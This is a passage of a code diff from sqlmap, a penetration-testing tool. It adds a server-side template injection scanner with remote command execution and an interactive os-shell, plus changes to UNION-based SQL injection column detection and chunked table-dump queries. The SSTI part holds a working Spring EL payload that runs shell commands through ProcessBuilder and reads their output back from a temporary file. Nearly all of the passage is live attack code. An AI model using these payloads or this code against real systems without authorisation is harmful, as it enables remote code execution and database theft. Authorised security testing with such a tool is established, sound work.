("php", re.compile(r"DivisionByZeroError|Division by zero")), + ("java", re.compile(r"ArithmeticException|/ by zero")), +) + + +def _probeFamily(place, parameter, engine, cache): + """Inject a divide-by-zero inside the engine's delimiter and infer the backend language + family from the resulting error. Returns the family string or None. Responses are cached by + payload so engines that share a delimiter ('{{1/0}}' etc.) cost a single request.""" + + if not engine.arithmeticFmt or not engine.delimiterClose: + return None + + payload = (_originalValue(place, parameter) or "") + engine.delimiter + "1/0" + engine.delimiterClose + if payload not in cache: + cache[payload] = _send(place, parameter, payload) + page = cache[payload] + if not page: + return None + + text = getUnicode(page) + if payload in text: # raw reflection -> template did not execute it + return None + for family, regex in _FAMILY_DIVZERO: + if regex.search(text): + return family + return None + + +def _probeDistinguishing(place, parameter, engine): + """Send the engine-specific fingerprint probe and verify the response. + For probes with a non-empty expected result, the result must appear and the + raw probe must NOT be reflected verbatim. + For empty-result (comment-style) probes, the response must stay similar to + baseline and the probe must NOT appear in the output.""" + + if not engine.distinguishingProbe: + return False + + original = _originalValue(place, parameter) or "" + probe = engine.distinguishingProbe + page = _send(place, parameter, original + probe) + if page is None: + return False + + text = getUnicode(page) + + # Reject raw reflection: if the probe appears verbatim, the template didn't execute it + if probe in text: + return False + + if engine.distinguishingResult: + return engine.distinguishingResult in text + + # Empty-result (comment-style) probe: response must stay similar to baseline + baseline = _send(place, parameter, original) + return _ratio(page, baseline) >= UPPER_RATIO_BOUND + + +def _detectBoolean(place, parameter, engine): + """Establish a boolean oracle for this engine. Returns the true template or None.""" + original = _originalValue(place, parameter) or "" + + truePayload = original + engine.booleanTrue + falsePayload = original + engine.booleanFalse + + if engine.trueRendered: + truePage = _send(place, parameter, truePayload) + if not truePage: + return None + text = getUnicode(truePage) + if truePayload in text or engine.trueRendered not in text: + return None + + # Reject reflected false payload + falsePage = _send(place, parameter, falsePayload) + if falsePage and falsePayload in getUnicode(falsePage): + return None + + return _boolean(lambda p=truePayload: _send(place, parameter, p), + lambda p=falsePayload: _send(place, parameter, p)) + + +def _booleanUniquelyIdentifies(engine): + """Returns True when the engine's boolean rendering signature is unique + among all engines sharing the same delimiter, allowing exact naming.""" + siblings = [e for e in _ENGINE_TABLE if e.delimiter == engine.delimiter] + signature = (engine.booleanTrue, engine.booleanFalse, + engine.trueRendered, engine.falseRendered) + count = sum((e.booleanTrue, e.booleanFalse, + e.trueRendered, e.falseRendered) == signature for e in siblings) + return count == 1 + + +def _familyUniquelyIdentifies(engine): + """Returns True when the engine's language family is unique among engines sharing the + same delimiter, so a divide-by-zero family probe is enough to name it exactly.""" + siblings = [e for e in _ENGINE_TABLE if e.delimiter == engine.delimiter] + return sum(e.family == engine.family for e in siblings) == 1 + + +# Delimiters shared by more than one engine in _ENGINE_TABLE; a match on any of these +# needs the full cross-engine comparison to disambiguate (Jinja2/Twig/Handlebars for +# "{{", Freemarker/SpringEL/Mako for "${"). Any other delimiter is unique to one engine. +_SHARED_DELIMITERS = frozenset(("{{", "${")) + + +def _fingerprint(place, parameter): + """Identify the template engine and confirm injection. Returns (engine, evidence) + where evidence is a dict of detection results, or (None, None). + + Scoring: arithmetic(3) + boolean(2) + error(1) + distinguishing(2) + family(1). + Engines sharing delimiters require error, distinguishing, unique boolean rendering, or a + uniquely-identifying language family to be named exactly; otherwise they are reported as + family/probable.""" + + bestEngine = None + bestEvidence = None + bestScore = 0 + divZeroCache = {} + + for engine in _ENGINE_TABLE: + evidence = {} + score = 0 + + # Phase 1: Arithmetic in-band proof with control pair (strongest) + if _probeArithmetic(place, parameter, engine): + evidence["arithmetic"] = True + score += 3 + + # Phase 2: Boolean oracle + if _detectBoolean(place, parameter, engine): + evidence["boolean"] = True + score += 2 + + # Phase 3: Error-based fingerprinting + errorPage = _probeError(place, parameter, engine) + if errorPage is not None: + if _isError(errorPage, engine): + evidence["error"] = True + score += 1 + + # Phase 4: Distinguishing probe (breaks ties within delimiter families) + if _probeDistinguishing(place, parameter, engine): + evidence["distinguishing"] = True + score += 2 + + # Phase 5: language-family confirmation via divide-by-zero error class + if _probeFamily(place, parameter, engine, divZeroCache) == engine.family: + evidence["family"] = True + score += 1 + + if score > bestScore: + bestScore = score + bestEngine = engine + bestEvidence = evidence + + # A decisive arithmetic proof on an engine whose delimiter no other engine shares + # is unambiguous: stop scanning the remaining engines (all phases of THIS engine + # already ran, so its evidence is complete) instead of exhaustively testing all nine. + if bestEngine is engine and evidence.get("arithmetic") and engine.delimiter not in _SHARED_DELIMITERS: + break + + if bestEngine and bestScore >= 3: + # For engines with ambiguous delimiters (shared by multiple engines), + # name a specific engine when: error fingerprint, distinguishing probe, + # or boolean rendering is unique within the delimiter family. + _FAMILY = { + "{{": "Jinja2/Twig/Handlebars-like", + "${": "Freemarker/SpringEL/Mako-like", + } + if bestEngine.delimiter in _FAMILY: + if (bestEvidence.get("error") or + bestEvidence.get("distinguishing") or + (bestEvidence.get("boolean") and _booleanUniquelyIdentifies(bestEngine)) or + (bestEvidence.get("family") and _familyUniquelyIdentifies(bestEngine))): + pass # specific engine name stands + else: + bestEngine = bestEngine._replace( + name="%s (probable %s)" % (_FAMILY[bestEngine.delimiter], bestEngine.name)) + return bestEngine, bestEvidence + + # Fallback: generic error detection + errorBackend = None + for suffix in ("{{", "${", "<%=", "#{"): + page = _send(place, parameter, _originalValue(place, parameter) + suffix) + if page: + backend = _backendFromError(page) + if backend: + errorBackend = backend + break + + if errorBackend: + for engine in _ENGINE_TABLE: + if engine.name.lower() in errorBackend.lower(): + return engine, {"error": True} + + return None, None + + +def sstiScan(): + debugMsg = "'--ssti' is self-contained: it detects SSTI and fingerprints " + debugMsg += "common template engines when possible. SQL enumeration " + debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored" + logger.debug(debugMsg) + + if not conf.paramDict: + logger.error("no request parameters to test (use --data, GET params, or similar)") + return + + tested = 0 + found = [] + + for place in (_ for _ in SSTI_PLACES if _ in conf.paramDict): + # mirror sqlmap's SQL place level-gating: Cookie parameters are only tested at --level >= 2 + if place == PLACE.COOKIE and conf.level < 2: + continue + for parameter in list(conf.paramDict[place].keys()): + if conf.testParameter and parameter not in conf.testParameter: + continue + + tested += 1 + logger.info("testing SSTI on %s parameter '%s'" % (place, parameter)) + + engine, evidence = _fingerprint(place, parameter) + if engine: + found.append((place, parameter, engine, evidence)) + logger.info("%s parameter '%s' is vulnerable to SSTI (back-end: '%s')" % (place, parameter, engine.name)) + if conf.beep: + beep() + + if engine.arithmeticFmt: + payload = _originalValue(place, parameter) + _arithmeticPayload(engine.arithmeticFmt, 7, 7) + else: + payload = _originalValue(place, parameter) + engine.booleanTrue + title = "SSTI %s injection" % engine.name + report = "---\nParameter: %s (%s)\n Type: SSTI\n Title: %s\n Payload: %s=%s\n---" % (parameter, place, title, parameter, payload) + conf.dumper.singleString(report) + + if evidence.get("arithmetic"): + logger.info("in-band arithmetic proof confirmed (control-pair)") + if evidence.get("boolean"): + logger.info("boolean oracle confirmed") + + if not found: + if tested: + warnMsg = "no parameter appears to be injectable via SSTI (%d tested)" % tested + else: + warnMsg = "no parameters found to test for SSTI" + logger.warning(warnMsg) + else: + engines = set(engine.name for _, _, engine, _ in found) + if len(engines) == 1: + logger.info("back-end template engine: '%s'" % engines.pop()) + else: + logger.info("back-end template engines: %s" % ", ".join(sorted(engines))) + + if found: + slot = found[0] + place, parameter, engine, evidence = slot + from lib.core.common import readInput + + wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell")) + + # If the user did not ask for exploitation, confirm (benignly) whether OS command + # execution is reachable and, if so, advise the relevant switches. + if not wantsTakeover and _canTakeover(engine, evidence) and _probeRce(place, parameter, engine): + logger.info("the back-end '%s' allows OS command execution via this injection; " + "you are advised to try '--os-shell' (interactive) or " + "'--os-cmd=' (single command)" % engine.name) + + # --os-cmd / --os-shell: RCE via SSTI (reuses existing SQL takeover flags) + if conf.get("osCmd") or conf.get("osShell"): + if not _canTakeover(engine, evidence): + logger.error("takeover requires exact engine fingerprint (got '%s') and " + "confirmed proof (arithmetic or boolean oracle)" % engine.name) + else: + if conf.get("osCmd"): + _executeCommand(place, parameter, engine, conf.osCmd) + + # Interactive shell runs even under --batch (mirrors the SQL --os-shell, which + # reads commands straight from the terminal); EOF / 'exit' / 'quit' leaves it. + if conf.get("osShell"): + logger.info("calling SSTI OS shell. Enter commands or 'exit'/'quit' to leave") + while True: + cmd = readInput("os-shell> ", checkBatch=False) + if not cmd or cmd.strip().lower() in ("exit", "quit"): + break + _executeCommand(place, parameter, engine, cmd.strip()) + + logger.info("SSTI scan complete") + + +def _escapeSingleQuoted(value): + """Escape backslashes and single quotes for embedding in a single-quoted string.""" + return value.replace("\\", "\\\\").replace("'", "\\'") + + +def _canTakeover(engine, evidence): + """Require exact engine fingerprint (not a family guess) and confirmed + proof before attempting OS command execution.""" + if not engine.rcePayloads: + return False + if "(probable" in engine.name or "-like" in engine.name: + return False + if not (evidence.get("arithmetic") or evidence.get("boolean")): + return False + return True + + +# Modern JDKs reflectively block Process.getInputStream()/waitFor() (the package-private +# java.lang.ProcessImpl), so the in-band stdout-capture RCE payloads silently return NO output on any +# recent JVM - the common real-world case. Two-step fallback, keyed by exact engine name: run the +# command redirecting stdout+stderr to a temp file (blind exec; ProcessBuilder is public), then read +# that file back via the public java.nio.file.Files API. {CMD} = shell-quoted command, {OUTFILE} = temp path. +_FILE_RCE = { + "Spring EL / Thymeleaf": ( + "${new ProcessBuilder(new String[]{'/bin/sh','-c','{CMD} > {OUTFILE}'}).start()}", + "${new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get('{OUTFILE}')))}", + ), +} + + +def _commandOutput(page, baseline, original, payload, engine): + """Extract genuine command output from a response via baseline diff, rejecting error pages and + reflected-payload fragments. Returns the cleaned output string, or None when there is none.""" + if not page: + return None + if engine.errorRegex and _isError(page, engine): + return None + + text = getUnicode(page) + baseText = getUnicode(baseline or "") + output = "" + + if baseText and text != baseText: + sm = difflib.SequenceMatcher(None, baseText, text) + parts = [text[j1:j2] for tag, i1, i2, j1, j2 in sm.get_opcodes() if tag in ("insert", "replace")] + if parts: + output = "".join(parts).strip() + + if not output: + output = text + if original and output.startswith(original): + output = output[len(original):] + output = output.strip() + + # A template that ECHOED our payload directive instead of executing it is reflection, not output. + if output and output in payload: + return None + + if output and _ratio(output, baseText) < UPPER_RATIO_BOUND: + if output != baseText.strip() and not (baseText and baseText.replace(original, "").strip() == output): + return output + + return None + + +def _fileRceCapture(place, parameter, engine, original, cmd, extract): + """Two-step file-based RCE for JDK-hardened Java engines (see _FILE_RCE): fire the exec payload + (redirects the command's output to a random temp file), then poll-read that file. 'extract' is a + callback (readPayload, page) -> result-or-None. The temp-file write is async of the blind start(), + so the read is retried a few times. Returns whatever 'extract' yields, else None.""" + spec = _FILE_RCE.get(engine.name) + if not spec: + return None + + execTemplate, readTemplate = spec + outFile = "/tmp/%s" % randomStr(length=12, lowercase=True) + execPayload = execTemplate.replace("{CMD}", _escapeSingleQuoted(cmd)).replace("{OUTFILE}", outFile) + _send(place, parameter, original + execPayload) # launches the process; its (error) response is ignored + + readPayload = readTemplate.replace("{OUTFILE}", outFile) + for _ in range(3): + page = _send(place, parameter, original + readPayload) + result = extract(readPayload, page) + if result is not None: + return result + time.sleep(1) + return None + + +def _probeRce(place, parameter, engine): + """Benign, quiet RCE-capability check: run `echo ` via the engine's RCE payloads and + return True if the marker is reflected (proving OS command execution is reachable). Used only + to advise the user; it has no side effect beyond echoing a random token.""" + + if not engine.rcePayloads: + return False + + marker = randomStr(length=12, lowercase=True) + original = _originalValue(place, parameter) or "" + for payloadTemplate, _description in engine.rcePayloads: + payload = payloadTemplate.replace("{CMD}", "echo %s" % marker) + page = _send(place, parameter, original + payload) + if page and marker in getUnicode(page): + return True + + # in-band capture blocked (e.g. hardened JDK) -> confirm via the two-step file-based channel + return bool(_fileRceCapture(place, parameter, engine, original, "echo %s" % marker, + lambda readPayload, page: True if (page and marker in getUnicode(page)) else None)) + + +def _executeCommand(place, parameter, engine, cmd): + """Execute an OS command via the engine's RCE payloads, trying each fallback in order until one + produces output (captured via baseline diff), then a two-step file-based fallback for JDK-hardened + Java engines whose in-band stdout capture is reflectively blocked (see _FILE_RCE).""" + + safeCmd = _escapeSingleQuoted(cmd) + original = _originalValue(place, parameter) or "" + baseline = _send(place, parameter, original) + + for payloadTemplate, description in engine.rcePayloads: + payload = payloadTemplate.replace("{CMD}", safeCmd) + page = _send(place, parameter, original + payload) + output = _commandOutput(page, baseline, original, payload, engine) + if output is not None: + conf.dumper.singleString("\nos-shell (%s) [%s]:\n%s" % (cmd, description, output)) + return + + output = _fileRceCapture(place, parameter, engine, original, cmd, + lambda readPayload, page: _commandOutput(page, baseline, original, readPayload, engine)) + if output is not None: + conf.dumper.singleString("\nos-shell (%s) [file-based]:\n%s" % (cmd, output)) + return + + logger.warning("no output received for OS command '%s'" % cmd) diff --git a/lib/techniques/union/__init__.py b/lib/techniques/union/__init__.py index 8476fab2f94..bcac841631b 100644 --- a/lib/techniques/union/__init__.py +++ b/lib/techniques/union/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ diff --git a/lib/techniques/union/test.py b/lib/techniques/union/test.py index c7a3f5948b0..fd0b6bd8376 100644 --- a/lib/techniques/union/test.py +++ b/lib/techniques/union/test.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -38,6 +38,7 @@ from lib.core.enums import PAYLOAD from lib.core.settings import FUZZ_UNION_ERROR_REGEX from lib.core.settings import FUZZ_UNION_MAX_COLUMNS +from lib.core.settings import FUZZ_UNION_MAX_REQUESTS from lib.core.settings import LIMITED_ROWS_TEST_NUMBER from lib.core.settings import MAX_RATIO from lib.core.settings import MIN_RATIO @@ -60,14 +61,37 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where= @stackedmethod def _orderByTechnique(lowerCount=None, upperCount=None): - def _orderByTest(cols): + def _orderByProbe(cols): query = agent.prefixQuery("ORDER BY %d" % cols, prefix=prefix) query = agent.suffixQuery(query, suffix=suffix, comment=comment) payload = agent.payload(newValue=query, place=place, parameter=parameter, where=where) page, headers, code = Request.queryPage(payload, place=place, content=True, raise404=False) - return not any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) and not kb.heavilyDynamic and comparison(page, headers, code) or re.search(r"data types cannot be compared or sorted", page or "", re.I) is not None + errored = any(re.search(_, page or "", re.I) and not re.search(_, kb.pageTemplate or "", re.I) for _ in ("(warning|error):", "order (by|clause)", "unknown column", "failed")) + return page, headers, code, errored + + lowCount = 1 if lowerCount is None else lowerCount + highCount = randomInt() if upperCount is None else upperCount + 1 + + lowPage, lowHeaders, lowCode, lowErrored = _orderByProbe(lowCount) + highPage, highHeaders, highCode, highErrored = _orderByProbe(highCount) + + # When an out-of-range ORDER BY position visibly errors on this target, the column count can be + # bisected on error presence alone - immune to result-set shifts caused by the injection context + # (e.g. a LIKE '%...%' search whose matches change once the string literal is closed), which would + # otherwise make the response-similarity oracle reject a still-valid position. + errorOracle = highErrored and not lowErrored + + def _orderByValid(page, headers, code, errored): + if re.search(r"data types cannot be compared or sorted", page or "", re.I): + return True + if errored: + return False + return errorOracle or (not kb.heavilyDynamic and comparison(page, headers, code)) - if _orderByTest(1 if lowerCount is None else lowerCount) and not _orderByTest(randomInt() if upperCount is None else upperCount + 1): + def _orderByTest(cols): + return _orderByValid(*_orderByProbe(cols)) + + if _orderByValid(lowPage, lowHeaders, lowCode, lowErrored) and not _orderByValid(highPage, highHeaders, highCode, highErrored): infoMsg = "'ORDER BY' technique appears to be usable. " infoMsg += "This should reduce the time needed " infoMsg += "to find the right number " @@ -133,7 +157,8 @@ def _orderByTest(cols): items.append((count, ratio)) if not isNullValue(kb.uChar): - for regex in (kb.uChar.strip("'"), r'>\s*%s\s*<' % kb.uChar.strip("'")): + value = re.escape(kb.uChar.strip("'")) + for regex in (value, r'>\s*%s\s*<' % value): contains = [count for count, content in pages.items() if re.search(regex, content or "", re.IGNORECASE) is not None] if len(contains) == 1: retVal = contains[0] @@ -189,12 +214,14 @@ def _fuzzUnionCols(place, parameter, prefix, suffix): choices = getPublicTypeMembers(FUZZ_UNION_COLUMN, True) random.shuffle(choices) + attempts = 0 for candidate in itertools.product(choices, repeat=kb.orderByColumns): - if retVal: + if retVal or attempts >= FUZZ_UNION_MAX_REQUESTS: # bound the exponential type-combination search break elif FUZZ_UNION_COLUMN.STRING not in candidate: continue else: + attempts += 1 candidate = [_.replace(FUZZ_UNION_COLUMN.INTEGER, str(randomInt())).replace(FUZZ_UNION_COLUMN.STRING, "'%s'" % randomStr(20)) for _ in candidate] query = agent.prefixQuery("UNION ALL SELECT %s%s" % (','.join(candidate), FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), "")), prefix=prefix) @@ -234,7 +261,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO randQueryUnescaped = unescaper.escape(randQueryProcessed) # Forge the union SQL injection request - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where) + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, collate=True) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request @@ -254,7 +281,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO randQueryUnescaped2 = unescaper.escape(randQueryProcessed2) # Confirm that it is a full union SQL injection - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2) + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, multipleUnions=randQueryUnescaped2, collate=True) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request @@ -267,7 +294,7 @@ def _unionPosition(comment, place, parameter, prefix, suffix, count, where=PAYLO fromTable = " FROM (%s) AS %s" % (" UNION ".join("SELECT %d%s%s" % (_, FROM_DUMMY_TABLE.get(Backend.getIdentifiedDbms(), ""), " AS %s" % randomStr() if _ == 0 else "") for _ in xrange(LIMITED_ROWS_TEST_NUMBER)), randomStr()) # Check for limited row output - query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable) + query = agent.forgeUnionQuery(randQueryUnescaped, position, count, comment, prefix, suffix, kb.uChar, where, fromTable=fromTable, collate=True) payload = agent.payload(place=place, parameter=parameter, newValue=query, where=where) # Perform the request @@ -331,16 +358,21 @@ def _unionTestByCharBruteforce(comment, place, parameter, value, prefix, suffix) if Backend.getIdentifiedDbms() and kb.orderByColumns and kb.orderByColumns < FUZZ_UNION_MAX_COLUMNS: if kb.fuzzUnionTest is None: msg = "do you want to (re)try to find proper " - msg += "UNION column types with fuzzy test? [y/N] " + msg += "UNION column types with a fuzzy test? [Y/n] " - kb.fuzzUnionTest = readInput(msg, default='N', boolean=True) + kb.fuzzUnionTest = readInput(msg, default='Y', boolean=True) if kb.fuzzUnionTest: kb.unionTemplate = _fuzzUnionCols(place, parameter, prefix, suffix) + # apply the discovered per-column type template through a normal confirmation so + # the resulting vector (and later extraction) is built with type-compatible columns + if kb.unionTemplate: + validPayload, vector = _unionConfirm(comment, place, parameter, prefix, suffix, len(kb.unionTemplate)) + warnMsg = "if UNION based SQL injection is not detected, " warnMsg += "please consider " - if not conf.uChar and count > 1 and kb.uChar == NULL: + if not all((validPayload, vector)) and not conf.uChar and count > 1 and kb.uChar == NULL and conf.uValues is None: message = "injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n] " if not readInput(message, default='Y', boolean=True): @@ -379,6 +411,8 @@ def unionTest(comment, place, parameter, value, prefix, suffix): negativeLogic = kb.negativeLogic setTechnique(PAYLOAD.TECHNIQUE.UNION) + kb.unionTemplate = None # reset any per-column type template carried over from a previous parameter + try: if negativeLogic: pushValue(kb.negativeLogic) diff --git a/lib/techniques/union/use.py b/lib/techniques/union/use.py index ef550d8da4f..43de9a31a35 100644 --- a/lib/techniques/union/use.py +++ b/lib/techniques/union/use.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -31,12 +31,14 @@ from lib.core.common import isNumPosStrValue from lib.core.common import listToStrValue from lib.core.common import parseUnionPage +from lib.core.common import randomStr from lib.core.common import removeReflectiveValues from lib.core.common import singleTimeDebugMessage from lib.core.common import singleTimeWarnMessage from lib.core.common import unArrayizeValue from lib.core.common import wasLastResponseDBMSError from lib.core.compat import xrange +from lib.core.convert import decodeBase64 from lib.core.convert import getUnicode from lib.core.convert import htmlUnescape from lib.core.data import conf @@ -49,6 +51,7 @@ from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapSyntaxException +from lib.core.settings import JSON_AGG_CHUNK_ROWS from lib.core.settings import MAX_BUFFERED_PARTIAL_UNION_LENGTH from lib.core.settings import NULL from lib.core.settings import SQL_SCALAR_REGEX @@ -60,7 +63,7 @@ from lib.utils.progress import ProgressBar from lib.utils.safe2bin import safecharencode from thirdparty import six -from thirdparty.odict import OrderedDict +from collections import OrderedDict def _oneShotUnionUse(expression, unpack=True, limited=False): retVal = hashDBRetrieve("%s%s" % (conf.hexConvert or False, expression), checkConf=True) # as UNION data is stored raw unconverted @@ -83,12 +86,12 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): except IndexError: pass - query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited) + query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, limited, collate=True) where = PAYLOAD.WHERE.NEGATIVE if conf.limitStart or conf.limitStop else vector[6] else: injExpression = unescaper.escape(expression) where = vector[6] - query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False) + query = agent.forgeUnionQuery(injExpression, vector[0], vector[1], vector[2], vector[3], vector[4], vector[5], vector[6], None, False, collate=True) payload = agent.payload(newValue=query, where=where) @@ -106,18 +109,30 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): for _page in (page or "", (page or "").replace('\\"', '"')): if Backend.isDbms(DBMS.MSSQL): output = extractRegexResult(r"%s(?P.*)%s" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) + if output: try: - retVal = "" - fields = re.findall(r'"([^"]+)":', extractRegexResult(r"{(?P[^}]+)}", output)) - for row in json.loads(output): - retVal += "%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row[field] or NULL) for field in fields), kb.chars.stop) + retVal = None + output_decoded = htmlUnescape(output) + json_data = json.loads(output_decoded, object_pairs_hook=OrderedDict) + + if not isinstance(json_data, list): + json_data = [json_data] + + if json_data and isinstance(json_data[0], dict): + fields = list(json_data[0].keys()) + + if fields: + parts = [] + for row in json_data: + parts.append("%s%s%s" % (kb.chars.start, kb.chars.delimiter.join(getUnicode(row.get(field) or NULL) for field in fields), kb.chars.stop)) + retVal = "".join(parts) except: retVal = None else: retVal = getUnicode(retVal) - elif Backend.isDbms(DBMS.PGSQL): - output = extractRegexResult(r"(?P%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload)) + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD): + output = extractRegexResult(r"(?P%s.*%s)" % (kb.chars.start, kb.chars.stop), removeReflectiveValues(_page, payload), re.DOTALL) if output: retVal = output else: @@ -126,6 +141,9 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): try: retVal = "" for row in json.loads(output): + # NOTE: for cases with automatic MySQL Base64 encoding of JSON array values, like: ["base64:type15:MQ=="] + for match in re.finditer(r"base64:type\d+:([^ ]+)", row): + row = row.replace(match.group(0), decodeBase64(match.group(1), binary=False)) retVal += "%s%s%s" % (kb.chars.start, row, kb.chars.stop) except: retVal = None @@ -134,6 +152,14 @@ def _oneShotUnionUse(expression, unpack=True, limited=False): if retVal: break + + # Detect a single-shot aggregate that was too large to return whole, so the caller can + # switch to chunked (windowed) aggregation: either the response carries the leading + # marker but no trailing one (cut mid-aggregate by sqlmap's cap and/or a silent DBMS + # truncation, regardless of compression), or the DBMS refused it outright with a packet + # size error (e.g. MySQL "Result of json_arrayagg() was larger than max_allowed_packet"). + if retVal is None and page and ((kb.chars.start in page and kb.chars.stop not in page) or "max_allowed_packet" in page): + kb.respTruncated = True else: # Parse the returned page to get the exact UNION-based # SQL injection output @@ -221,6 +247,76 @@ def _configUnionCols(columns): _configUnionChar(char) _configUnionCols(conf.uCols or columns) +def _chunkedJsonAggUse(expression, expressionFields, expressionFieldsList, count): + """ + Fallback for when a full (single-shot) JSON-agg UNION table dump is too large to be returned + whole (DBMS packet limit / sqlmap response cap). Instead of dropping to the slow per-row UNION + path, rows are aggregated in bounded windows of K rows per request (JSON_ARRAYAGG over a + LIMIT-windowed subquery), keeping near full-UNION throughput while staying well under the + caps. K is halved adaptively if a chunk response still gets truncated. Returns a BigArray of + rows, or None to let the caller fall back to the regular per-row UNION path. + + Same DBMS coverage as the single-shot JSON-agg (per-DBMS aggregate + windowing); others -> None. + """ + dbms = Backend.getIdentifiedDbms() + + if dbms not in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.HSQLDB, DBMS.FIREBIRD) or not expressionFields or not expressionFieldsList: + return None + + start, stop, delimiter = kb.chars.start, kb.chars.stop, kb.chars.delimiter + + # a stable total ordering (all output columns) so the LIMIT/OFFSET windows never overlap or drop rows + base = re.sub(r"(?i)\s+ORDER BY\s+.+\Z", "", expression) + orderBy = "ORDER BY %s" % ','.join(str(_ + 1) for _ in range(len(expressionFieldsList))) + nulled = [agent.nullAndCastField(_) for _ in expressionFieldsList] + + # per-DBMS: aggregate-over-windowed-columns expression (mirrors the single-shot branches) plus + # the "K rows at offset" window clause appended to the inner derived table + if dbms == DBMS.MYSQL: + aggExpr = "CONCAT('%s',JSON_ARRAYAGG(CONCAT_WS('%s',%s)),'%s')" % (start, delimiter, ','.join(nulled), stop) + window = lambda o, k: "%s LIMIT %d,%d" % (orderBy, o, k) + elif dbms == DBMS.PGSQL: + aggExpr = "STRING_AGG('%s'||%s||'%s','')" % (start, ("||'%s'||" % delimiter).join("COALESCE(%s::text,' ')" % _ for _ in expressionFieldsList), stop) + window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o) + elif dbms == DBMS.SQLITE: + aggExpr = "'%s'||JSON_GROUP_ARRAY(%s)||'%s'" % (start, ("||'%s'||" % delimiter).join("COALESCE(%s,' ')" % _ for _ in expressionFieldsList), stop) + window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o) + elif dbms in (DBMS.H2, DBMS.HSQLDB): + aggExpr = "GROUP_CONCAT('%s'||%s||'%s' SEPARATOR '')" % (start, ("||'%s'||" % delimiter).join(nulled), stop) + window = lambda o, k: "%s LIMIT %d OFFSET %d" % (orderBy, k, o) + elif dbms == DBMS.FIREBIRD: + aggExpr = "LIST('%s'||%s||'%s','')" % (start, ("||'%s'||" % delimiter).join(nulled), stop) + window = lambda o, k: "%s ROWS %d TO %d" % (orderBy, o + 1, o + k) + + debugMsg = "single-shot UNION dump output was too large; switching to " + debugMsg += "chunked (windowed) JSON aggregation of %d entries" % count + singleTimeDebugMessage(debugMsg) + + retVal = BigArray() + chunk = JSON_AGG_CHUNK_ROWS + offset = 0 + + while offset < count: + query = "SELECT %s FROM (%s %s) %s" % (aggExpr, base, window(offset, chunk), randomStr()) + + kb.jsonAggMode = True + output = _oneShotUnionUse(query, False) + kb.jsonAggMode = False + + if kb.respTruncated and chunk > 1: + chunk = max(1, chunk // 2) # a single chunk is still too big -> shrink and retry same window + continue + + rows = parseUnionPage(output) + + if rows is None: + return None # unexpected failure -> let the caller fall back to the per-row path + + retVal.extend(arrayizeValue(rows)) + offset += chunk + + return retVal + def unionUse(expression, unpack=True, dump=False): """ This function tests for an UNION SQL injection on the target @@ -242,8 +338,8 @@ def unionUse(expression, unpack=True, dump=False): _, _, _, _, _, expressionFieldsList, expressionFields, _ = agent.getFields(origExpr) - # Set kb.partRun in case the engine is called from the API - kb.partRun = getPartRun(alias=False) if conf.api else None + # Set kb.partRun in case the engine is called from the API or a JSON report is being collected + kb.partRun = getPartRun(alias=False) if (conf.api or conf.reportJson) else None if expressionFieldsList and len(expressionFieldsList) > 1 and "ORDER BY" in expression.upper(): # Removed ORDER BY clause because UNION does not play well with it @@ -252,24 +348,40 @@ def unionUse(expression, unpack=True, dump=False): debugMsg += "it does not play well with UNION query SQL injection" singleTimeDebugMessage(debugMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, DBMS.SQLITE) and expressionFields and not any((conf.binaryFields, conf.limitStart, conf.limitStop, conf.forcePartial, conf.disableJson)): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ORACLE, DBMS.PGSQL, DBMS.MSSQL, 